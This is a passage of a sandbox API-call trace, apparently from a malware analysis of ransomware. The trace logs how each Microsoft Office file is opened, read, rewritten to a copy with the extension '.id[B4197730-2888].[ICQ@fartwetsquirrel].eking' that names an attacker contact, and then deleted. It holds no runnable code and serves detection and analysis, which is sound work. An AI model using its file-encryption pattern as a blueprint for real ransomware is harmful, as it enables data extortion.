(normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0253.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0253.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.186] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.186] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0253.187] ReadFile (in: hFile=0x39c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4ed, lpOverlapped=0x0) returned 1 [0253.189] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4f0, lpOverlapped=0x0) returned 1 [0253.190] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0253.190] CloseHandle (hObject=0x39c) returned 1 [0253.191] CloseHandle (hObject=0x38c) returned 1 [0253.191] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0 [0253.191] SetEvent (hEvent=0x2b8) returned 1 [0253.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0253.192] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1261) returned 1 [0253.192] CloseHandle (hObject=0x38c) returned 1 [0253.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220 [0253.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220 [0253.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0253.193] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.193] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x39c [0253.196] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4ed, lpOverlapped=0x0) returned 1 [0253.198] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4f0, lpOverlapped=0x0) returned 1 [0253.441] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0253.441] CloseHandle (hObject=0x38c) returned 1 [0253.442] CloseHandle (hObject=0x39c) returned 1 [0253.442] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0 [0253.443] SetEvent (hEvent=0x2b8) returned 1 [0253.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.445] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1261) returned 1 [0253.445] CloseHandle (hObject=0x39c) returned 1 [0253.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0253.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0253.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.446] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.446] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0253.447] ReadFile (in: hFile=0x39c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4ed, lpOverlapped=0x0) returned 1 [0253.449] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4f0, lpOverlapped=0x0) returned 1 [0253.451] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0253.451] CloseHandle (hObject=0x39c) returned 1 [0253.451] CloseHandle (hObject=0x38c) returned 1 [0253.452] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0 [0253.452] SetEvent (hEvent=0x2b8) returned 1 [0253.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0253.454] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3375) returned 1 [0253.454] CloseHandle (hObject=0x38c) returned 1 [0253.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0253.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0253.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0253.455] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.455] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x39c [0253.456] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xd2f, lpOverlapped=0x0) returned 1 [0253.459] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xd30, lpOverlapped=0x0) returned 1 [0253.460] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0253.460] CloseHandle (hObject=0x38c) returned 1 [0253.460] CloseHandle (hObject=0x39c) returned 1 [0253.461] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0 [0253.461] SetEvent (hEvent=0x2b8) returned 1 [0253.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.462] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2173046) returned 1 [0253.463] CloseHandle (hObject=0x39c) returned 1 [0253.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0253.463] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0253.463] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0 [0253.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.465] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=9831) returned 1 [0253.465] CloseHandle (hObject=0x39c) returned 1 [0253.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0253.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0253.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.466] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.466] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0253.467] ReadFile (in: hFile=0x39c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x2667, lpOverlapped=0x0) returned 1 [0253.470] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x2670, lpOverlapped=0x0) returned 1 [0253.472] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x112, lpOverlapped=0x0) returned 1 [0253.472] CloseHandle (hObject=0x39c) returned 1 [0253.472] CloseHandle (hObject=0x38c) returned 1 [0253.473] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0 [0253.473] SetEvent (hEvent=0x2b8) returned 1 [0253.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0253.474] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=373) returned 1 [0253.474] CloseHandle (hObject=0x38c) returned 1 [0253.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0253.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0253.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0253.475] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.476] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0253.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x39c [0253.478] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x175, lpOverlapped=0x0) returned 1 [0253.479] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x180, lpOverlapped=0x0) returned 1 [0253.480] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x102, lpOverlapped=0x0) returned 1 [0253.698] CloseHandle (hObject=0x38c) returned 1 [0253.698] CloseHandle (hObject=0x39c) returned 1 [0253.698] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0 [0253.699] SetEvent (hEvent=0x2b8) returned 1 [0253.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.702] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=20672) returned 1 [0253.702] CloseHandle (hObject=0x39c) returned 1 [0253.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0253.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0253.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.703] SetEvent (hEvent=0x2b8) returned 1 [0253.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.705] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19648) returned 1 [0253.705] 